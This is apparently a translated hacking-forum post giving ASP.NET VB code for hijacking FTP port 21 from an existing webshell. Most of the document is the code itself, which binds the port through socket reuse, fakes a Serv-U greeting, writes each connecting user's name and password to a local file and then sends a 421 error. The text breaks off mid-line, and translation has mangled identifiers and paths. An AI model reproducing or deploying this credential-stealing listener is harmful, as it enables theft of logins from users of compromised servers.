Code for ASP. Net hijacking of FTP ports

Author: maoyankanren
If you have an ASP. Net webshell, you have at least a higher permission than ASP's webshell. Because ASP. Net supports Socket, port multiplexing can be used for port hijacking.
The following is the ASP. Net code for port 21 hijacking. Because FTP transfers files to a new port, the system returns the 421 error directly after obtaining the password instead of using the man-in-the-middle method.

Of course, windows and later systems no longer support port multiplexing.

CODE:
[Copy to clipboard]
<% @ Page Language = "VB" Debug = "true" %>
<% @ Import Namespace = "System. Threading" %>
<% @ Import Namespace = "System. Text" %>
<% @ Import Namespace = "System. Net" %>
<% @ Import Namespace = "System. Net. Sockets" %>
<% @ Import Namespace = "System. IO" %>
<Script runat = "server">

 

Sub form_load (Src As Object, E As EventArgs)
Myip. Text = request. ServerVariables ("LOCAL_ADDR ")
End sub
Sub BTN_Start_Click (sender As Object, e As EventArgs)
Dim error_x as Exception

Dim ipAddress As IPAddress = ipAddress. Parse (myIP. Text)
Dim localEndPoint As New IPEndPoint (ipAddress, myport. Text)

Dim listener As New Socket (AddressFamily. InterNetwork, SocketType. Stream, ProtocolType. Tcp)
Listener. SetSocketOption (SocketOptionLevel. Socket, SocketOptionName. ReuseAddress, 1)
Try
Listener. Bind (localEndPoint)
Listener. Listen (100)
While Not file. exists (server. mappath ("snifferexit. dat "))
If CheckBox1.Checked Then
Dim mywrite As New StreamWriter (server. mappath ("snifferexit. dat"), True, Encoding. Default)
Mywrite. Close ()
End If
Dim mySocket As Socket = listener. Accept ()
ThreadPool. QueueUserWorkItem (New WaitCallback (AddressOf ThreadProc), mySocket)
End While
Listener. Close ()
Catch error_x
Listener. Close ()
Response. write (error_x)
End Try
End Sub

Private Shared Sub ThreadProc (ByVal mySocket As Object)
Dim msg As Byte ()
Dim bytes (1024) As Byte
Dim I As Integer
Dim num As Integer
Dim xdata As String
Try
MySocket. SetSocketOption (SocketOptionLevel. Socket, SocketOptionName. ReceiveTimeout, 5000)
Msg = Encoding. ASCII. GetBytes ("220 Serv-u ftp Server v6.0 for WinSock ready..." & vbCrLf)
MySocket. Send (msg, msg. Length, 0)

MySocket. Receive (bytes, 0, 1024, 0)
Xdata = (Encoding. ASCII. GetString (bytes ))
If InStr (1, xdata, "user", 1)> 0 Then
Dim mywrite As New StreamWriter ("e: mywebmyowna.txt", True, Encoding. Default)
Mywrite. WriteLine (Mid (xdata, 1, InStr (xdata, vbCrLf )))
Mywrite. Close ()

Msg = Encoding. ASCII. GetBytes ("331 User name okay, need password." & vbCrLf)
MySocket. Send (msg, msg. Length, 0)
Else
Msg = Encoding. ASCII. GetBytes ("530 Not logged In .." & vbCrLf)
MySocket. Send (msg, msg. Length, 0)
End If
MySocket. Receive (bytes, 0, 1024, 0)
Xdata = (Encoding. ASCII. GetString (bytes ))
If InStr (1, xdata, "pass", 1)> 0 Then
Dim mywrite As New StreamWriter ("e: mywebmyowna.txt", True, Encoding. Default)
Mywrite. WriteLine (Mid (xdata, 1, InStr (xdata, vbCrLf )))
Mywrite. Close ()
Msg = Encoding. ASCII. GetBytes ("421 Too using users-please try again later." & vbCrLf)
MySocket. Send (msg, msg. Length, 0)
Else
Msg = Encoding. ASCII. GetBytes ("530 Not logged in .." & vbCrLf)
& Nbs